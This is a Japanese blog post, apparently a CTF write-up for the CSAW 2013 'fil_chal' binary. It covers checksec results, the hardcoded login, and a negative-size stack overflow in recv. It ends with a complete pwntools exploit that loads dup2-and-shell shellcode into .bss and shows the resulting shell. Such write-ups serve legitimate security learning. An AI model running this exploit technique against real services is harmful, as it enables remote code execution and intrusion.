mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwnlist baby Exploitation3

下調べ

mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation3$ file fil_chal | sed -e "s/,/\n/g"
fil_chal: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.6.24
 BuildID[sha1]=e6e7d1f8a7d1b6fea2e862816b795ac1410fa3af
 stripped
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   fil_chal

NX,SSP無効.Full RELOなためGotOverwriteはできない.

解析

実行ファイルをstraceを用いて起動すると,ポート34266で接続を待ち受けているので,ncコマンドを用いて接続.

接続するとユーザ名,パスワードを求められる.stringsコマンドで実行ファイル中の文字列を眺めているとそれらしきものを発見.(実際はデバッガで解析する.たぶんcmp命令とかで比較している内容見ればわかる.)それぞれ入力すると情報のサイズと内容を入力できる.

mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation3$ nc localhost 34266
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
		Dairy

UserName: csaw2013
Password: S1mplePWD
Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: 100 
aaa
Til next time

デバッガで動きを追ってみると,どうやら入力されたデータサイズの文字列をatoi関数で数値に変換して,その値のサイズ分入力を受け取るということをやっているらしい.しかし,データサイズの入力は負数も受け取ることができるため,次の入力で馬鹿でかいサイズを入力することができる.情報の入力を格納する領域は1052(0x41c)分しか確保されていないので,1056文字を超える入力でリターンアドレスを書き換えることが可能.

[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x0 
ECX: 0x0 
EDX: 0xffffcbec --> 0x0 
ESI: 0xf7fb9000 --> 0x1afdb0 
EDI: 0x804967b ("Til next time\n\n")
EBP: 0xffffd008 --> 0xffffd048 --> 0xffffd138 --> 0xffffd148 --> 0x0 
ESP: 0xffffcb30 --> 0x4 
EIP: 0x8048f7a (call   0x8048890 <recv@plt>)
EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048f6d:	lea    edx,[ebp-0x41c] # 情報を格納する領域を確保
   0x8048f73:	mov    DWORD PTR [esp+0x4],edx
   0x8048f77:	mov    DWORD PTR [esp],eax
=> 0x8048f7a:	call   0x8048890 <recv@plt> # データサイズに-1を指定すると確保した領域以上の入力をすることが可能
   0x8048f7f:	mov    WORD PTR [ebp-0x16],ax
   0x8048f83:	cmp    WORD PTR [ebp-0x16],0xffff
   0x8048f88:	jne    0x8048f9b
   0x8048f8a:	mov    DWORD PTR [esp],0x8049986
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0xffffcbec --> 0x0 
arg[2]: 0xffffffff # データサイズがとんでもなく大きくなっている.
arg[3]: 0x0 

Exploit

NXが無効になっているので,どこかにシェルコードを積んで実行してやれば良い.
今回はrecv関数を利用してbss領域にシェルコードを積んで実行させるようにした.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct

host = 'localhost'
port = 34266

conn = remote(host, port)

bss_addr = 0x804b008
elf = ELF('./fil_chal')
recv_addr = elf.plt['recv']

shellcode = asm(shellcraft.dupsh(4))
shellcode += asm(shellcraft.sh())

payload = "A" * 1056
payload += p32(recv_addr)
payload += p32(bss_addr)
payload += p32(4)
payload += p32(bss_addr)
payload += p32(len(shellcode))
payload += p32(0)
payload += "\n"

conn.recv()
conn.send("csaw2013\n")
conn.recv()
conn.send("S1mplePWD\n")
conn.recv()
conn.send("-1\n")
conn.send(payload)
conn.send(shellcode)
conn.interactive()

結果

mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation3$ python exploit.py 
[+] Opening connection to localhost on port 34266: Done
[*] '/home/mattun-mart/Workspace/pwn/baby/Exploitation3/fil_chal'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] Switching to interactive mode
Entry Info: $ ls
dump
exploit.py
fil_chal
peda-session-fil_chal.txt